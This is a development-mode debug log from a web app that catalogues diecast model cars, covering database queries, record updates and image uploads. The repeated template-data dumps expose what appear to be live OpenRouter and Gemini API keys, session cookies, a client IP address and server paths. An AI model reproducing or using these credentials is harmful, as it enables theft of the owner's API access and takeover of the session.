    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:19.826Z server-connect:output delete: { affected: 1 }
2026-02-04T10:57:19.826Z server-connect:app Executing action step remove
2026-02-04T10:57:19.826Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:57:19.826Z server-connect:output fileRemove: true
2026-02-04T10:57:20.101Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:20.102Z server-connect:app Executing action step identify
2026-02-04T10:57:20.102Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:20.102Z server-connect:output identity: 1
2026-02-04T10:57:20.102Z server-connect:app Executing action step restrict
2026-02-04T10:57:20.102Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:20.102Z server-connect:output restrict: undefined
2026-02-04T10:57:20.102Z server-connect:app Executing action step paged
2026-02-04T10:57:20.102Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:20.104Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:20.380Z server-connect:router Serving templateView /
2026-02-04T10:57:20.380Z server-connect:app Executing action step identify
2026-02-04T10:57:20.380Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:20.381Z server-connect:output identity: 1
2026-02-04T10:57:20.381Z server-connect:app Executing action step restrict
2026-02-04T10:57:20.381Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:20.381Z server-connect:output restrict: undefined
2026-02-04T10:57:20.381Z server-connect:app Executing action step restrict
2026-02-04T10:57:20.381Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:20.382Z server-connect:output restrict: undefined
2026-02-04T10:57:20.382Z server-connect:router Render template layouts/main
2026-02-04T10:57:20.382Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:57:23.305Z server-connect:router Serving templateView /
2026-02-04T10:57:23.306Z server-connect:app Executing action step identify
2026-02-04T10:57:23.306Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:23.306Z server-connect:output identity: 1
2026-02-04T10:57:23.306Z server-connect:app Executing action step restrict
2026-02-04T10:57:23.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:23.306Z server-connect:output restrict: undefined
2026-02-04T10:57:23.306Z server-connect:app Executing action step restrict
2026-02-04T10:57:23.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:23.306Z server-connect:output restrict: undefined
2026-02-04T10:57:23.306Z server-connect:router Render template layouts/main
2026-02-04T10:57:23.307Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:57:29.383Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:57:29.383Z server-connect:app Executing action step identify
2026-02-04T10:57:29.383Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:29.384Z server-connect:output identity: 1
2026-02-04T10:57:29.384Z server-connect:app Executing action step restrict
2026-02-04T10:57:29.384Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:29.384Z server-connect:output restrict: undefined
2026-02-04T10:57:29.384Z server-connect:app Executing action step condition
2026-02-04T10:57:29.384Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:57:29.384Z server-connect:app Executing action step update
2026-02-04T10:57:29.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:57:29.385Z server-connect:output update: { affected: 1 }
2026-02-04T10:57:29.385Z server-connect:app Executing action step upload
2026-02-04T10:57:29.385Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:57:29.385Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:57:29.385Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:57:29.385Z server-connect:upload Processing file: {
  name: 's-l1600 (5).webp',
  data: <Buffer >,
  size: 88870,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-60-20378841770202649382',
  truncated: false,
  mimetype: 'image/webp',
  md5: '6ca57db56e7a15ba71b37fe4e9d49ca3',
  mv: [Function: mv]
}
2026-02-04T10:57:29.385Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp',
  rel: 'public/assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp'
}
2026-02-04T10:57:29.386Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp',
  rel: 'assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp'
}
2026-02-04T10:57:29.386Z server-connect:output upload_image: [
  {
    name: 's-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp',
    path: '/public/assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp',
    url: '/assets/images/diecast/s-l1600_5_2dca6e2a-0999-4999-b3dd-ea057bfe2202.webp',
    type: 'image/webp',
    size: 88870
  }
]
2026-02-04T10:57:29.386Z server-connect:app Executing action step repeat
2026-02-04T10:57:29.386Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:57:29.386Z server-connect:app Executing action step insert
2026-02-04T10:57:29.386Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:29.386Z server-connect:output images: { affected: 1, identity: 211 }
2026-02-04T10:57:29.386Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:57:29.386Z server-connect:output condition: undefined
2026-02-04T10:57:29.688Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:29.688Z server-connect:app Executing action step identify
2026-02-04T10:57:29.688Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:29.688Z server-connect:output identity: 1
2026-02-04T10:57:29.688Z server-connect:app Executing action step restrict
2026-02-04T10:57:29.688Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:29.689Z server-connect:output restrict: undefined
2026-02-04T10:57:29.689Z server-connect:app Executing action step paged
2026-02-04T10:57:29.689Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:29.690Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:32.216Z server-connect:router Serving templateView /diecast
2026-02-04T10:57:32.216Z server-connect:app Executing action step identify
2026-02-04T10:57:32.216Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:32.217Z server-connect:output identity: 1
2026-02-04T10:57:32.217Z server-connect:app Executing action step restrict
2026-02-04T10:57:32.217Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:32.217Z server-connect:output restrict: undefined
2026-02-04T10:57:32.217Z server-connect:router Render template layouts/main
2026-02-04T10:57:32.217Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
